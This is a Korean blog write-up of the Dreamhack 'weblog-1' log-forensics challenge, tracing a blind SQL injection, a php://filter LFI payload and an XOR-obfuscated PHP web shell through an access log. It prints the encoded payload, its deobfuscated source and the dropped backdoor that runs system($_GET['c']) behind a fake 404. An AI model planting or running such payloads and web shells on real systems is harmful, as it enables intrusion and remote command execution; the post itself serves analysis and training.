[Dreamhack] weblog-1
(이번 글은 사진이 작을 수 있으니 클릭해서 확인하세요!)

초기 화면이다. 5문제를 풀어야 flag를 주는 것 같다. 우선 admin계정의 Pw를 찾기위해 access.txt을 열어봤다.
정렬은 되어 있지만 보기 너무 힘들어서 Excel로 공백을 기준으로 나눈 뒤 의미 없는 열을 지운 뒤 분석했다.
파일을 빠르게 내리면서 보니 초반과 다르게 의심스러운 부분이 있었다.

자세히 보면 1초마다 1개씩일 때도 있지만 많으면 1초에 4번씩 board.php에서 sort파라미터에 32,33,34~ 와 같이 SQL Injection 의심 쿼리를 확인할 수 있었다. 분명 admin과 pasword를 탈취하기 위한 쿼리문도 있을 것이니 더 내려봤다.

(TABLE_NAME, COLUMN_NAME 등 응답 패킷을 기준으로 다 찾았으나 우린 password만 알면 되기에 이곳엔 작성하지 않음.)

이때부터 username과 password가 등장한다.board.php에서 (username+0x3a+password)와 같은 방식으로 32, 33 ~ 1씩 올리며 문자열을 맞추는 식으로 sql쿼리를 보낸다. 분석을 하다 보면 응답 패킷의 길이를 기준으로 쿼리가 참일 때 길이가 1192이고 거짓일 때 길이는 841인 것을 확인할 수 있다.

그렇다면 쿼리문에 username과 password가 들어가고 응답 패킷 길이가 1192인 것을 기준으로 보면 아래와 같다.
아스키코드 값들을 순서대로 모두 모아보면97,100,109,105,110,58,84,104,49,115,95,49,115,95,65,100,109,49,110,95,80,64,83,83,44,103,117,101,115,116,58,103,117,101,115,116 이다. 변환하면

admin:Th1s_1s_Adm1n_P@SS, guest:guest임을 알 수 있다. 값을 넣어보자.
다음 문제! config.php코드를 추출하는데 사용한 페이로드를 찾으면 된다.

누가 봐도 맨 아래 페이로드가 가장 의심스럽다.
page=php://filter/convert.base64-encode/resource=../config.php부터 넣었는데 틀렸다길래 php://filter/convert.base64-encode/resource=../config.php 넣었더니 다음으로 넘어갔다.

LFI 취약점을 통해 코드 실행이니 웹쉘이 먼저 생각났다. /admin/?page=를 필터로 걸어 확인해봤다.

memo.php에 웹쉘을 삽입하여 memo= ~ 보낸 뒤 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 경로에 로그가 남았다. 웹쉘로 사용된 파일의 경로는 위와 같음으로 답으로 보내봤다.

생성된 웹쉘의 경로는 바로 이전에 찾았던 구문을 이용하면 된다.
GET/admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1
음 근데 url인코딩과 난독화가 되어 보기 힘들다. 보기좋게 정리해보자.
<?php function m($l, $T = 0) {
$K = date('Y-m-d');
$_ = strlen($l);
$__ = strlen($K);
for ($i = 0;$i < $_;$i++) {
for ($j = 0;$j < $__;$j++) {
if ($T) {
$l[$i] = $K[$j] ^ $l[$i];
} else {
$l[$i] = $l[$i] ^ $K[$j];
}
}
}
return $l;
}
echo m('bmha[tqp[gkjpajpw');
echo m('+rev+sss+lpih+qthke`w+miecaw*tlt');
echo m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?');
?>
보기 좋게 정리해놓으면 위와 같다. php를 컴파일해보면

처음부터 잘못된 것 같다. $k에 date(‘Y-m-d’);인데 들어간 값이 없다. date함수로 날짜를 받아서 넣은 것 같다. 웹쉘을 실행한 날짜를 찾아봤다.

2020-06-02임을 확인했다. 그러면 date 대신 2020-06-02를 넣고 다시 컴파일해보자.

file_put_contents/var/www/html/uploads/images.php<?php header("HTTP/1.1 404 Not Found");system($_GET["c"]);
위와 같이 얻을 수 있었다. /var부터 답을 넣어보자.

바로 이전에 웹쉘의 경로를 찾았을 때 경로는 var/www/html/uploads/images.php 이곳이었으니 images.php?를 기준으로 찾은 다음에 시간이 가장 빠른 것을 보면 된다.

images.php경로는 하나밖에 없어서 시간 비교할 필요가 없었다. 명령어는 whoami 임을 알았기에 입력해서 보내면
flag을 획득했다.
'Webhacking-Write-Up > Dreamhack' 카테고리의 다른 글
[Dreamhack] login-1 (0) | 2023.01.25 |
---|---|
[Dreamhack] [wargame.kr] adm1nkyj (0) | 2023.01.24 |
[Dreamhack] Tomcat Manager (0) | 2023.01.22 |
[Dreamhack] Apache htaccess (0) | 2023.01.11 |
[Dreamhack] File Vulnerability Advanced for linux (0) | 2023.01.11 |